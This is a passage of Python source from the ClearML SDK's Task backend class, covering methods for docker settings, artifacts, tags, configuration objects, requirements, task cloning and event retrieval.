int]') execution.model_labels = enumeration self._edit(execution=execution) def _set_default_docker_image(self): # type: () -> () if not DOCKER_IMAGE_ENV_VAR.exists() and not DOCKER_BASH_SETUP_ENV_VAR.exists(): return self.set_base_docker( docker_cmd=DOCKER_IMAGE_ENV_VAR.get(default=""), docker_setup_bash_script=DOCKER_BASH_SETUP_ENV_VAR.get(default="")) def set_base_docker(self, docker_cmd, docker_arguments=None, docker_setup_bash_script=None): # type: (str, Optional[Union[str, Sequence[str]]], Optional[Union[str, Sequence[str]]]) -> () """ Set the base docker image for this experiment If provided, this value will be used by clearml-agent to execute this experiment inside the provided docker image. When running remotely the call is ignored :param docker_cmd: docker container image (example: 'nvidia/cuda:11.1') :param docker_arguments: docker execution parameters (example: '-e ENV=1') :param docker_setup_bash_script: bash script to run at the beginning of the docker before launching the Task itself. example: ['apt update', 'apt-get install -y gcc'] """ image = docker_cmd.split(' ')[0] if docker_cmd else '' if not docker_arguments and docker_cmd: docker_arguments = docker_cmd.split(' ')[1:] if len(docker_cmd.split(' ')) > 1 else '' arguments = (docker_arguments if isinstance(docker_arguments, str) else ' '.join(docker_arguments)) \ if docker_arguments else '' if docker_setup_bash_script: setup_shell_script = docker_setup_bash_script \ if isinstance(docker_setup_bash_script, str) else '\n'.join(docker_setup_bash_script) else: setup_shell_script = '' with self._edit_lock: self.reload() if Session.check_min_api_version("2.13"): self.data.container = dict(image=image, arguments=arguments, setup_shell_script=setup_shell_script) self._edit(container=self.data.container) else: if setup_shell_script: raise ValueError( "Your ClearML-server does not support docker bash script feature, please upgrade.") execution = self.data.execution execution.docker_cmd = image + (' {}'.format(arguments) if arguments else '') self._edit(execution=execution) def get_base_docker(self): # type: () -> str """Get the base Docker command (image) that is set for this experiment.""" if Session.check_min_api_version("2.13"): # backwards compatibility container = self._get_task_property( "container", raise_on_error=False, log_on_error=False, default={}) return (container.get('image', '') + (' {}'.format(container['arguments']) if container.get('arguments', '') else '')) or None else: return self._get_task_property("execution.docker_cmd", raise_on_error=False, log_on_error=False) def set_artifacts(self, artifacts_list=None): # type: (Sequence[tasks.Artifact]) -> Optional[List[tasks.Artifact]] """ List of artifacts (tasks.Artifact) to update the task :param list artifacts_list: list of artifacts (type tasks.Artifact) :return: List of current Task's Artifacts or None if error. """ if not Session.check_min_api_version('2.3'): return None if not (isinstance(artifacts_list, (list, tuple)) and all(isinstance(a, tasks.Artifact) for a in artifacts_list)): raise ValueError('Expected artifacts as List[tasks.Artifact]') with self._edit_lock: self.reload() execution = self.data.execution keys = [a.key for a in artifacts_list] execution.artifacts = [a for a in execution.artifacts or [] if a.key not in keys] + artifacts_list self._edit(execution=execution) return execution.artifacts or [] def _add_artifacts(self, artifacts_list): # type: (Sequence[tasks.Artifact]) -> Optional[List[tasks.Artifact]] """ List of artifacts (tasks.Artifact) to add to the task If an artifact by the same name already exists it will overwrite the existing artifact. :param list artifacts_list: list of artifacts (type tasks.Artifact) :return: List of current Task's Artifacts """ if not Session.check_min_api_version('2.3'): return None if not (isinstance(artifacts_list, (list, tuple)) and all(isinstance(a, tasks.Artifact) for a in artifacts_list)): raise ValueError('Expected artifacts as List[tasks.Artifact]') with self._edit_lock: if Session.check_min_api_version("2.13") and not self._offline_mode: req = tasks.AddOrUpdateArtifactsRequest(task=self.task_id, artifacts=artifacts_list, force=True) res = self.send(req, raise_on_errors=False) if not res or not res.response or not res.response.updated: return None self.reload() else: self.reload() execution = self.data.execution keys = [a.key for a in artifacts_list] execution.artifacts = [a for a in execution.artifacts or [] if a.key not in keys] + artifacts_list self._edit(execution=execution) return self.data.execution.artifacts or [] def _delete_artifacts(self, artifact_names): # type: (Sequence[str]) -> bool """ Delete a list of artifacts, by artifact name, from the Task. :param list artifact_names: list of artifact names :return: True if successful """ if not Session.check_min_api_version('2.3'): return False if not isinstance(artifact_names, (list, tuple)): raise ValueError('Expected artifact names as List[str]') with self._edit_lock: if Session.check_min_api_version("2.13") and not self._offline_mode: req = tasks.DeleteArtifactsRequest( task=self.task_id, artifacts=[{"key": n, "mode": "output"} for n in artifact_names], force=True) res = self.send(req, raise_on_errors=False) if not res or not res.response or not res.response.deleted: return False self.reload() else: self.reload() execution = self.data.execution execution.artifacts = [a for a in execution.artifacts or [] if a.key not in artifact_names] self._edit(execution=execution) return self.data.execution.artifacts or [] def _set_model_design(self, design=None): # type: (str) -> () with self._edit_lock: self.reload() if Session.check_min_api_version('2.9'): configuration = self._get_task_property( "configuration", default={}, raise_on_error=False, log_on_error=False) or {} configuration[self._default_configuration_section_name] = tasks.ConfigurationItem( name=self._default_configuration_section_name, value=str(design)) self._edit(configuration=configuration) else: execution = self.data.execution if design is not None: # noinspection PyProtectedMember execution.model_desc = Model._wrap_design(design) self._edit(execution=execution) def get_labels_enumeration(self): # type: () -> Mapping[str, int] """ Get the label enumeration dictionary label enumeration dictionary of string (label) to integer (value) pairs. :return: A dictionary containing the label enumeration. """ if not self.data or not self.data.execution: return {} return self.data.execution.model_labels def get_model_design(self): # type: () -> str """ Get the model configuration as blob of text. :return: The model configuration as blob of text. """ if Session.check_min_api_version('2.9'): design = self._get_task_property( "configuration", default={}, raise_on_error=False, log_on_error=False) or {} if design: design = design.get(sorted(design.keys())[0]).value or '' else: design = self._get_task_property( "execution.model_desc", default={}, raise_on_error=False, log_on_error=False) # noinspection PyProtectedMember return Model._unwrap_design(design) def get_random_seed(self): # type: () -> int # fixed seed for the time being return 1337 def set_random_seed(self, random_seed): # type: (int) -> () # fixed seed for the time being pass def set_project(self, project_id=None, project_name=None): # type: (Optional[str], Optional[str]) -> () # if running remotely and we are the main task, skip setting ourselves. if self._is_remote_main_task(): return if not project_id: assert isinstance(project_name, six.string_types) res = self.send(projects.GetAllRequest(name=exact_match_regex(project_name)), raise_on_errors=False) if not res or not res.response or not res.response.projects or len(res.response.projects) != 1: return False project_id = res.response.projects[0].id assert isinstance(project_id, six.string_types) self._set_task_property("project", project_id) self._edit(project=project_id) def get_project_name(self): # type: () -> Optional[str] if self.project is None: return self._project_name[1] if self._project_name and len(self._project_name) > 1 else None if self._project_name and self._project_name[1] is not None and self._project_name[0] == self.project: return self._project_name[1] res = self.send(projects.GetByIdRequest(project=self.project), raise_on_errors=False) if not res or not res.response or not res.response.project: return None self._project_name = (self.project, res.response.project.name) return self._project_name[1] def get_tags(self): # type: () -> Sequence[str] return self._get_task_property("tags") def set_system_tags(self, tags): # type: (Sequence[str]) -> () assert isinstance(tags, (list, tuple)) tags = list(set(tags)) if Session.check_min_api_version('2.3'): self._set_task_property("system_tags", tags) self._edit(system_tags=self.data.system_tags) else: self._set_task_property("tags", tags) self._edit(tags=self.data.tags) def get_system_tags(self): # type: () -> Sequence[str] return self._get_task_property("system_tags" if Session.check_min_api_version('2.3') else "tags") def set_tags(self, tags): # type: (Sequence[str]) -> () assert isinstance(tags, (list, tuple)) if not Session.check_min_api_version('2.3'): # not supported return self._set_task_property("tags", tags) self._edit(tags=self.data.tags) def set_name(self, name): # type: (str) -> () """ Set the Task name. :param name: The name of the Task. :type name: str """ name = name or '' self._set_task_property("name", str(name)) self._edit(name=self.data.name) def set_parent(self, parent): # type: (Optional[Union[str, Task]]) -> () """ Set the parent task for the Task. :param parent: The parent task id (or parent Task object) for the Task. Set None for no parent. :type parent: str or Task """ if parent: assert isinstance(parent, (str, Task)) if isinstance(parent, Task): parent = parent.id assert parent != self.id self._set_task_property("parent", str(parent) if parent else None) self._edit(parent=self.data.parent) def set_comment(self, comment): # type: (str) -> () """ Set a comment / description for the Task. :param comment: The comment / description for the Task. :type comment: str """ comment = comment or '' self._set_task_property("comment", str(comment)) self._edit(comment=str(comment)) def set_task_type(self, task_type): # type: (Union[str, Task.TaskTypes]) -> () """ Set the task_type for the Task. :param task_type: The task_type of the Task. Valid task types: - ``TaskTypes.training`` - ``TaskTypes.testing`` - ``TaskTypes.inference`` - ``TaskTypes.data_processing`` - ``TaskTypes.application`` - ``TaskTypes.monitor`` - ``TaskTypes.controller`` - ``TaskTypes.optimizer`` - ``TaskTypes.service`` - ``TaskTypes.qc`` - ``TaskTypes.custom`` :type task_type: str or TaskTypes """ if not isinstance(task_type, self.TaskTypes): task_type = self.TaskTypes(task_type) self._set_task_property("task_type", str(task_type)) self._edit(type=task_type) def set_archived(self, archive): # type: (bool) -> () """ Archive the Task or remove it from the archived folder. :param archive: If True archive the Task, If False make sure it is removed from the archived folder """ with self._edit_lock: system_tags = list(set(self.get_system_tags()) | {self.archived_tag}) \ if archive else list(set(self.get_system_tags()) - {self.archived_tag}) self.set_system_tags(system_tags) def get_archived(self): # type: () -> bool """ Return the Archive state of the Task :return: If True the Task is archived, otherwise it is not. """ return self.archived_tag in self.get_system_tags() def set_initial_iteration(self, offset=0): # type: (int) -> int """ Set the initial iteration offset. The default value is ``0``. This method is useful when continuing training from previous checkpoints. For example, to start on iteration 100000, including scalars and plots: ..code-block:: py task.set_initial_iteration(100000) Task.set_initial_iteration(100000) :param int offset: Initial iteration (at starting point) :return: A newly set initial offset. """ if not isinstance(offset, int): raise ValueError("Initial iteration offset must be an integer") self._initial_iteration_offset = offset if self._metrics_manager: self._metrics_manager.set_iteration_offset(self._initial_iteration_offset) return self._initial_iteration_offset def get_initial_iteration(self): # type: () -> int """ Get the initial iteration offset. The default value is ``0``. This method is useful when continuing training from previous checkpoints. :return: The initial iteration offset. """ return self._initial_iteration_offset def get_status(self): # type: () -> str """ Return The task status without refreshing the entire Task object object (only the status property) TaskStatusEnum: ["created", "in_progress", "stopped", "closed", "failed", "completed", "queued", "published", "publishing", "unknown"] :return: str: Task status as string (TaskStatusEnum) """ status = self._get_status()[0] if self._data: self._data.status = status return str(status) def get_output_log_web_page(self): # type: () -> str """ Return the Task results & outputs web page address. For example: https://demoapp.demo.clear.ml/projects/216431/experiments/60763e04/output/log :return: http/s URL link. """ return '{}/projects/{}/experiments/{}/output/log'.format( self._get_app_server(), self.project if self.project is not None else '*', self.id, ) def get_reported_scalars( self, max_samples=0, # type: int x_axis='iter' # type: str ): # type: (...) -> Mapping[str, Mapping[str, Mapping[str, Sequence[float]]]] """ Return a nested dictionary for the scalar graphs, where the first key is the graph title and the second is the series name. Value is a dict with 'x': values and 'y': values .. note:: This call is not cached, any call will retrieve all the scalar reports from the back-end. If the Task has many scalars reported, it might take long for the call to return. Example: .. code-block:: py {'title': {'series': { 'x': [0, 1 ,2], 'y': [10, 11 ,12], }}} :param int max_samples: Maximum samples per series to return. Default is 0 returning all scalars. With sample limit, average scalar values inside sampling window. :param str x_axis: scalar x_axis, possible values: 'iter': iteration (default), 'timestamp': seconds from start, 'iso_time': absolute time :return: dict: Nested scalar graphs: dict[title(str), dict[series(str), dict[axis(str), list(float)]]] """ if x_axis not in ('iter', 'timestamp', 'iso_time'): raise ValueError("Scalar x-axis supported values are: 'iter', 'timestamp', 'iso_time'") # send request res = self.send( events.ScalarMetricsIterHistogramRequest( task=self.id, key=x_axis, samples=max(1, max_samples) if max_samples else None), raise_on_errors=False, ignore_errors=True, ) if not res: return {} response = res.wait() if not response.ok() or not response.response_data: return {} return response.response_data def get_reported_plots( self, max_iterations=None ): # type: (...) -> List[dict] """ Return a list of all the plots reported for this Task, Notice the plot data is plotly compatible. .. note:: This call is not cached, any call will retrieve all the plot reports from the back-end. If the Task has many plots reported, it might take long for the call to return. Example: .. code-block:: py [{ 'timestamp': 1636921296370, 'type': 'plot', 'task': '0ce5e89bbe484f428e43e767f1e2bb11', 'iter': 0, 'metric': 'Manual Reporting', 'variant': 'Just a plot', 'plot_str': '{"data": [{"type": "scatter", "mode": "markers", "name": null, "x": [0.2620246750155817], "y": [0.2620246750155817]}]}', '@timestamp': '2021-11-14T20:21:42.387Z', 'worker': 'machine-ml', 'plot_len': 6135, },] :param int max_iterations: Maximum number of historic plots (iterations from end) to return. :return: list: List of dicts, each one represents a single plot """ # send request res = self.send( events.GetTaskPlotsRequest( task=self.id, iters=max_iterations or 1, _allow_extra_fields_=True, no_scroll=True ), raise_on_errors=False, ignore_errors=True, ) if not res: return [] response = res.wait() if not response.ok(): return [] if not response.response_data: return [] return response.response_data.get('plots', []) def get_reported_console_output(self, number_of_reports=1): # type: (int) -> Sequence[str] """ Return a list of console outputs reported by the Task. Retrieved outputs are the most updated console outputs. :param int number_of_reports: The number of reports to return. The default value is ``1``, indicating the last (most updated) console output :return: A list of strings, each entry corresponds to one report. """ if Session.check_min_api_version('2.9'): request = events.GetTaskLogRequest( task=self.id, order='asc', navigate_earlier=True, batch_size=number_of_reports) else: request = events.GetTaskLogRequest( task=self.id, order='asc', from_='tail', batch_size=number_of_reports) res = self.send(request) response = res.wait() if not response.ok() or not response.response_data.get('events'): return [] lines = [r.get('msg', '') for r in response.response_data['events']] return lines def get_configuration_object(self, name): # type: (str) -> Optional[str] """ Get the Task's configuration object section as a blob of text Use only for automation (externally), otherwise use `Task.connect_configuration`. :param str name: Configuration section name :return: The Task's configuration as a text blob (unconstrained text string) return None if configuration name is not valid """ return self._get_configuration_text(name) def get_configuration_object_as_dict(self, name): # type: (str) -> Optional[Union[dict, list]] """ Get the Task's configuration object section as parsed dictionary Parsing supports JSON and HOCON, otherwise parse manually with `get_configuration_object()` Use only for automation (externally), otherwise use `Task.connect_configuration`. :param str name: Configuration section name :return: The Task's configuration as a parsed dict. return None if configuration name is not valid """ return self._get_configuration_dict(name) def get_configuration_objects(self): # type: () -> Optional[Mapping[str, str]] """ Get the Task's configuration object section as a blob of text Use only for automation (externally), otherwise use `Task.connect_configuration`. :return: The Task's configurations as a dict (config name as key) and text blob as value (unconstrained text string) """ if not Session.check_min_api_version('2.9'): raise ValueError( "Multiple configurations are not supported with the current 'clearml-server', " "please upgrade to the latest version") configuration = self.data.configuration or {} return {k: v.value for k, v in configuration.items()} def set_configuration_object(self, name, config_text=None, description=None, config_type=None, config_dict=None): # type: (str, Optional[str], Optional[str], Optional[str], Optional[Union[dict, list]]) -> None """ Set the Task's configuration object as a blob of text or automatically encoded dictionary/list. Use only for automation (externally), otherwise use `Task.connect_configuration`. :param str name: Configuration section name :param config_text: configuration as a blob of text (unconstrained text string) usually the content of a configuration file of a sort :param str description: Configuration section description :param str config_type: Optional configuration format type :param dict config_dict: configuration dictionary/list to be encoded using HOCON (json alike) into stored text Notice you can either pass `config_text` or `config_dict`, not both """ return self._set_configuration( name=name, description=description, config_type=config_type, config_text=config_text, config_dict=config_dict) @classmethod def get_projects(cls): # type: () -> (List['projects.Project']) """ Return a list of projects in the system, sorted by last updated time :return: A list of all the projects in the system. Each entry is a `services.projects.Project` object. """ ret_projects = [] page = -1 page_size = 500 res = None while page == -1 or ( res and res.response and res.response.projects and len(res.response.projects) == page_size ): page += 1 res = cls._send( cls._get_default_session(), projects.GetAllRequest(order_by=["last_update"], page=page, page_size=page_size), raise_on_errors=True, ) if res and res.response and res.response.projects: ret_projects.extend([projects.Project(**p.to_dict()) for p in res.response.projects]) return ret_projects @classmethod def get_project_id(cls, project_name): # type: (str) -> Optional[str] """ Return a project's unique ID (str). If more than one project matched the project_name, return the last updated project If no project matched the requested name, returns None :return: Project unique ID (str), or None if no project was found. """ assert project_name assert isinstance(project_name, str) res = cls._send( cls._get_default_session(), projects.GetAllRequest(order_by=['last_update'], name=exact_match_regex(project_name)), raise_on_errors=False) if res and res.response and res.response.projects: return [projects.Project(**p.to_dict()).id for p in res.response.projects][0] return None @staticmethod def running_locally(): # type: () -> bool """ Is the task running locally (i.e., ``clearml-agent`` is not executing it) :return: True, if the task is running locally. False, if the task is not running locally. """ return not running_remotely() @classmethod def add_requirements(cls, package_name, package_version=None): # type: (str, Optional[str]) -> None """ Force the adding of a package to the requirements list. If ``package_version`` is None, use the installed package version, if found. Example: Task.add_requirements('tensorflow', '2.4.0') Example: Task.add_requirements('tensorflow', '>=2.4') Example: Task.add_requirements('tensorflow') -> use the installed tensorflow version Example: Task.add_requirements('tensorflow', '') -> no version limit Alternatively, you can add all requirements from a file. Example: Task.add_requirements('/path/to/your/project/requirements.txt') :param str package_name: The package name or path to a requirements file to add to the "Installed Packages" section of the task. :param package_version: The package version requirements. If ``None``, then use the installed version. """ if not running_remotely() and hasattr(cls, "current_task") and cls.current_task(): get_logger("task").warning("Requirement ignored, Task.add_requirements() must be called before Task.init()") if not os.path.exists(package_name): cls._force_requirements[package_name] = package_version return try: import pkg_resources except ImportError: get_logger("task").warning("Requirement file %s skipped since pkg_resources is not installed" % package_name) else: with Path(package_name).open() as requirements_txt: for req in pkg_resources.parse_requirements(requirements_txt): if req.marker is None or pkg_resources.evaluate_marker(str(req.marker)): cls._force_requirements[req.name] = str(req.specifier) @classmethod def ignore_requirements(cls, package_name): # type: (str) -> None """ Ignore a specific package when auto generating the requirements list. Example: Task.ignore_requirements('pywin32') :param str package_name: The package name to remove/ignore from the "Installed Packages" section of the task. """ if not running_remotely() and hasattr(cls, 'current_task') and cls.current_task(): get_logger('task').warning( 'Requirement ignored, Task.ignore_requirements() must be called before Task.init()') cls._ignore_requirements.add(str(package_name)) @classmethod def force_requirements_env_freeze(cls, force=True, requirements_file=None): # type: (bool, Optional[Union[str, Path]]) -> None """ Force using `pip freeze` / `conda list` to store the full requirements of the active environment (instead of statically analyzing the running code and listing directly imported packages) Notice: Must be called before `Task.init` ! :param force: Set force using `pip freeze` flag on/off :param requirements_file: Optional pass requirements.txt file to use (instead of `pip freeze` or automatic analysis) """ cls._force_use_pip_freeze = requirements_file if requirements_file else bool(force) @classmethod def force_store_standalone_script(cls, force=True): # type: (bool) -> None """ Force using storing the main python file as a single standalone script, instead of linking with the local git repository/commit ID. Notice: Must be called before `Task.init` ! :param force: Set force using `pip freeze` flag on/off """ cls._force_store_standalone_script = bool(force) def _get_default_report_storage_uri(self): # type: () -> str if self._offline_mode: return str(self.get_offline_mode_folder() / 'data') if not self._files_server: self._files_server = Session.get_files_server_host() return self._files_server def _get_status(self): # type: () -> (Optional[str], Optional[str]) if self._offline_mode: return tasks.TaskStatusEnum.created, 'offline' # noinspection PyBroadException try: all_tasks = self.send( tasks.GetAllRequest(id=[self.id], only_fields=['status', 'status_message']), ).response.tasks return all_tasks[0].status, all_tasks[0].status_message except Exception: return None, None def _get_last_update(self): # type: () -> (Optional[datetime]) if self._offline_mode: return None # noinspection PyBroadException try: all_tasks = self.send( tasks.GetAllRequest(id=[self.id], only_fields=['last_update']), ).response.tasks return all_tasks[0].last_update except Exception: return None def _reload_last_iteration(self): # type: () -> () # noinspection PyBroadException try: all_tasks = self.send( tasks.GetAllRequest(id=[self.id], only_fields=['last_iteration']), ).response.tasks self.data.last_iteration = all_tasks[0].last_iteration except Exception: return None def _set_runtime_properties(self, runtime_properties): # type: (Mapping[str, str]) -> bool if not Session.check_min_api_version('2.13') or not runtime_properties: return False with self._edit_lock: self.reload() current_runtime_properties = self.data.runtime or {} current_runtime_properties.update(runtime_properties) # noinspection PyProtectedMember self._edit(runtime=current_runtime_properties) return True def _get_runtime_properties(self): # type: () -> Mapping[str, str] if not Session.check_min_api_version('2.13'): return dict() return dict(**self.data.runtime) if self.data.runtime else dict() def _clear_task(self, system_tags=None, comment=None): # type: (Optional[Sequence[str]], Optional[str]) -> () self._data.script = tasks.Script( binary='', repository='', tag='', branch='', version_num='', entry_point='', working_dir='', requirements={}, diff='', ) if Session.check_min_api_version("2.13"): self._data.models = tasks.TaskModels(input=[], output=[]) self._data.container = dict() self._data.execution = tasks.Execution( artifacts=[], dataviews=[], model='', model_desc={}, model_labels={}, parameters={}, docker_cmd='') self._data.comment = str(comment) self._storage_uri = None self._data.output.destination = self._storage_uri if Session.check_min_api_version('2.13'): self._set_task_property("system_tags", system_tags) self._data.script.requirements = dict() self._edit(system_tags=self._data.system_tags, comment=self._data.comment, script=self._data.script, execution=self._data.execution, output_dest='', hyperparams=dict(), configuration=dict(), container=self._data.container, models=self._data.models) elif Session.check_min_api_version('2.9'): self._update_requirements('') self._set_task_property("system_tags", system_tags) self._edit(system_tags=self._data.system_tags, comment=self._data.comment, script=self._data.script, execution=self._data.execution, output_dest='', hyperparams=dict(), configuration=dict()) elif Session.check_min_api_version('2.3'): self._set_task_property("system_tags", system_tags) self._edit(system_tags=self._data.system_tags, comment=self._data.comment, script=self._data.script, execution=self._data.execution, output_dest='') else: self._set_task_property("tags", system_tags) self._edit(tags=self._data.tags, comment=self._data.comment, script=self._data.script, execution=self._data.execution, output_dest=None) @classmethod def _get_api_server(cls): # type: () -> () return Session.get_api_server_host() def _get_app_server(self): # type: () -> str if not self._app_server: self._app_server = Session.get_app_server_host() return self._app_server def _is_remote_main_task(self): # type: () -> bool """ :return: return True if running remotely and this Task is the registered main task """ return running_remotely() and get_remote_task_id() == self.id def _edit(self, **kwargs): # type: (**Any) -> Any with self._edit_lock: if self._offline_mode: for k, v in kwargs.items(): setattr(self.data, k, v) Path(self.get_offline_mode_folder()).mkdir(parents=True, exist_ok=True) with open((self.get_offline_mode_folder() / self._offline_filename).as_posix(), 'wt') as f: export_data = self.data.to_dict() export_data['project_name'] = self.get_project_name() export_data['offline_folder'] = self.get_offline_mode_folder().as_posix() json.dump(export_data, f, ensure_ascii=True, sort_keys=True) return None # Since we ae using forced update, make sure he task status is valid status = self._data.status if self._data and self._reload_skip_flag else self.data.status if status not in (tasks.TaskStatusEnum.created, tasks.TaskStatusEnum.in_progress): # the exception being name/comment that we can always change. if kwargs and all(k in ('name', 'comment', 'tags', 'system_tags', 'runtime') for k in kwargs.keys()): pass else: raise ValueError('Task object can only be updated if created or in_progress ' '[status={} fields={}]'.format(status, list(kwargs.keys()))) res = self.send(tasks.EditRequest(task=self.id, force=True, **kwargs), raise_on_errors=False) return res def _update_requirements(self, requirements): # type: (Union[dict, str]) -> () if not isinstance(requirements, dict): requirements = {'pip': requirements} # make sure we have str as values: for key in requirements.keys(): if requirements[key] and not isinstance(requirements[key], str): requirements[key] = '\n'.join(requirements[key]) # protection, Old API might not support it # noinspection PyBroadException try: with self._edit_lock: self.reload() self.data.script.requirements = requirements if self._offline_mode: self._edit(script=self.data.script) else: self.send(tasks.SetRequirementsRequest(task=self.id, requirements=requirements)) except Exception: pass def _update_script(self, script): # type: (dict) -> () with self._edit_lock: self.reload() self.data.script = script self._edit(script=script) def _set_configuration(self, name, description=None, config_type=None, config_text=None, config_dict=None): # type: (str, Optional[str], Optional[str], Optional[str], Optional[Union[Mapping, list]]) -> None """ Set Task configuration text/dict. Multiple configurations are supported. :param str name: Configuration name. :param str description: Configuration section description. :param str config_type: Optional configuration format type (str). :param config_text: model configuration (unconstrained text string). usually the content of a configuration file. If `config_text` is not None, `config_dict` must not be provided. :param config_dict: model configuration parameters dictionary. If `config_dict` is not None, `config_text` must not be provided. """ # make sure we have wither dict or text mutually_exclusive(config_dict=config_dict, config_text=config_text, _check_none=True) if not Session.check_min_api_version('2.9'): raise ValueError("Multiple configurations are not supported with the current 'clearml-server', " "please upgrade to the latest version") if description: description = str(description) # support empty string a_config = config_dict_to_text(config_dict if config_text is None else config_text) with self._edit_lock: self.reload() configuration = self.data.configuration or {} configuration[name] = tasks.ConfigurationItem( name=name, value=a_config, description=description or None, type=config_type or None) self._edit(configuration=configuration) def _get_configuration_text(self, name): # type: (str) -> Optional[str] """ Get Task configuration section as text :param str name: Configuration name. :return: The Task configuration as text (unconstrained text string). return None if configuration name is not valid. """ if not Session.check_min_api_version('2.9'): raise ValueError("Multiple configurations are not supported with the current 'clearml-server', " "please upgrade to the latest version") configuration = self.data.configuration or {} if not configuration.get(name): return None return configuration[name].value def _get_configuration_dict(self, name): # type: (str) -> Optional[dict] """ Get Task configuration section as dictionary :param str name: Configuration name. :return: The Task configuration as dictionary. return None if configuration name is not valid. """ config_text = self._get_configuration_text(name) if not config_text: return None return text_to_config_dict(config_text) def get_offline_mode_folder(self): # type: () -> (Optional[Path]) """ Return the folder where all the task outputs and logs are stored in the offline session. :return: Path object, local folder, later to be used with `report_offline_session()` """ if not self._offline_mode: return None return get_offline_dir(task_id=self.task_id) @classmethod def _clone_task( cls, cloned_task_id, # type: str name=None, # type: Optional[str] comment=None, # type: Optional[str] execution_overrides=None, # type: Optional[dict] tags=None, # type: Optional[Sequence[str]] parent=None, # type: Optional[str] project=None, # type: Optional[str] log=None, # type: Optional[logging.Logger] session=None, # type: Optional[Session] ): # type: (...) -> str """ Clone a task :param str cloned_task_id: Task ID for the task to be cloned :param str name: New for the new task :param str comment: Optional comment for the new task :param dict execution_overrides: Task execution overrides. Applied over the cloned task's execution section, useful for overriding values in the cloned task. :param list tags: Optional updated model tags :param str parent: Optional parent Task ID of the new task. :param str project: Optional project ID of the new task. If None, the new task will inherit the cloned task's project. :param logging.Logger log: Log object used by the infrastructure. :param Session session: Session object used for sending requests to the API :return: The new task's ID. """ session = session if session else cls._get_default_session() use_clone_api = Session.check_min_api_version('2.9') if use_clone_api: res = cls._send( session=session, log=log, req=tasks.CloneRequest( task=cloned_task_id, new_task_name=name, new_task_tags=tags, new_task_comment=comment, new_task_parent=parent, new_task_project=project, execution_overrides=execution_overrides, ) ) cloned_task_id = res.response.id return cloned_task_id res = cls._send(session=session, log=log, req=tasks.GetByIdRequest(task=cloned_task_id)) task = res.response.task output_dest = None if task.output: output_dest = task.output.destination execution = task.execution.to_dict() if task.execution else {} execution = ConfigTree.merge_configs(ConfigFactory.from_dict(execution), ConfigFactory.from_dict(execution_overrides or {})) # clear all artifacts execution['artifacts'] = [e for e in execution['artifacts'] if e.get('mode') == 'input'] if not hasattr(task, 'system_tags') and not tags and task.tags: tags = [t for t in task.tags if t != cls._development_tag] extra = {} if hasattr(task, 'hyperparams'): extra['hyperparams'] = task.hyperparams if hasattr(task, 'configuration'): extra['configuration'] = task.configuration if getattr(task, 'system_tags', None): extra['system_tags'] = [t for t in task.system_tags if t not in (cls._development_tag, cls.archived_tag)] req = tasks.CreateRequest( name=name or task.name, type=task.type, input=task.input if hasattr(task, 'input') else {'view': {}}, tags=tags, comment=comment if comment is not None else task.comment, parent=parent, project=project if project else task.project, output_dest=output_dest, execution=execution.as_plain_ordered_dict(), script=task.script, **extra ) res = cls._send(session=session, log=log, req=req) cloned_task_id = res.response.id if task.script and task.script.requirements: cls._send(session=session, log=log, req=tasks.SetRequirementsRequest( task=cloned_task_id, requirements=task.script.requirements)) return cloned_task_id @classmethod def get_all(cls, session=None, log=None, **kwargs): # type: (Optional[Session], Optional[logging.Logger], **Any) -> Any """ List all the Tasks based on specific projection. :param Session session: The session object used for sending requests to the API. :param logging.Logger log: The Log object. :param kwargs: Keyword args passed to the GetAllRequest (see :class:`.backend_api.services.v2_5.tasks.GetAllRequest`) For example: .. code-block:: bash status='completed', 'search_text'='specific_word', 'user'='user_id', 'project'='project_id' :type kwargs: dict :return: The API response. """ session = session if session else cls._get_default_session() req = tasks.GetAllRequest(**kwargs) res = cls._send(session=session, req=req, log=log) return res @classmethod def get_by_name(cls, task_name): # type: (str) -> Task res = cls._send(cls._get_default_session(), tasks.GetAllRequest(name=exact_match_regex(task_name))) task = get_single_result(entity='task', query=task_name, results=res.response.tasks) return cls(task_id=task.id) @classmethod def _get_project_name(cls, project_id): res = cls._send(cls._get_default_session(), projects.GetByIdRequest(project=project_id), raise_on_errors=False) if not res or not res.response or not res.response.project: return None return res.response.project.name def _get_all_events( self, max_events=100, batch_size=500, order='asc', event_type=None, unique_selector=itemgetter("url") ): # type: (int, int, str, str, Callable[[dict], Any]) -> Union[List[Any], Set[Any]] """ Get a list of all reported events. Warning: Debug only. Do not use outside of testing. :param max_events: The maximum events the function will return. Pass None to return all the reported events. :param batch_size: The maximum number of events retrieved by each internal call performed by this method. :param order: Events order (by timestamp) - "asc" for ascending, "desc" for descending. :param event_type: Event type. Pass None to get all event types. :param unique_selector: If provided, used to select a value from each event, only a unique set of these values will be returned by this method. :return: A list of events from the task. If unique_selector was provided, a set of values selected from events of the task. """ batch_size = max_events or batch_size log_events = self.send(events.GetTaskEventsRequest( task=self.id, order=order, batch_size=batch_size, event_type=event_type, )) returned_count = log_events.response.returned total_events = log_events.response.total scroll = log_events.response.scroll_id if unique_selector: events_list = set(map(unique_selector, log_events.response.events)) else: events_list = log_events.response.events while returned_count < total_events and (max_events is None or len(events_list) < max_events): log_events = self.send(events.GetTaskEventsRequest( task=self.id, order=order, batch_size=batch_size, event_type=event_type, scroll_id=scroll, )) scroll = log_events.response.scroll_id returned_count += log_events.response.returned if unique_selector: events_list.update(log_events.response.events) else: events_list.extend(log_events.response.events) return events_list @property def _edit_lock(self): # type: () -> () # skip the actual lock, this one-time lock will always enter # only used on shutdown process to avoid deadlocks if self.__edit_lock is False: return RLock() if self.__edit_lock: return self.__edit_lock if not PROC_MASTER_ID_ENV_VAR.get() or len(PROC_MASTER_ID_ENV_VAR.get().split(':')) < 2: self.__edit_lock = RLock() elif PROC_MASTER_ID_ENV_VAR.get().split(':')[1] == str(self.id): filename = os.path.join(gettempdir(), 'clearml_{}.lock'.format(self.id)) # no need to remove previous file lock if we have a dead process, it will automatically release the lock. # # noinspection PyBroadException # try: # os.unlink(filename) # except Exception: # pass # create a new file based lock self.__edit_lock = FileRLock(filename=filename) else: self.__edit_lock = RLock() return self.__edit_lock @_edit_lock.setter def _edit_lock(self, value): # type: (RLock) -> () self.__edit_lock = value @classmethod def __update_master_pid_task(cls, pid=None, task=None): # type: (Optional[int], Optional[Union[str, Task]]) -> None pid = pid or os.getpid() if not task: PROC_MASTER_ID_ENV_VAR.set(str(pid) + ':') elif isinstance(task, str): PROC_MASTER_ID_ENV_VAR.set(str(pid) + ':' + task) else: # noinspection PyUnresolvedReferences PROC_MASTER_ID_ENV_VAR.set(str(pid) + ':' + str(task.id)) # make sure we refresh the edit lock next time we need it, task._edit_lock = None @classmethod def __get_master_id_task_id(cls): # type: () -> 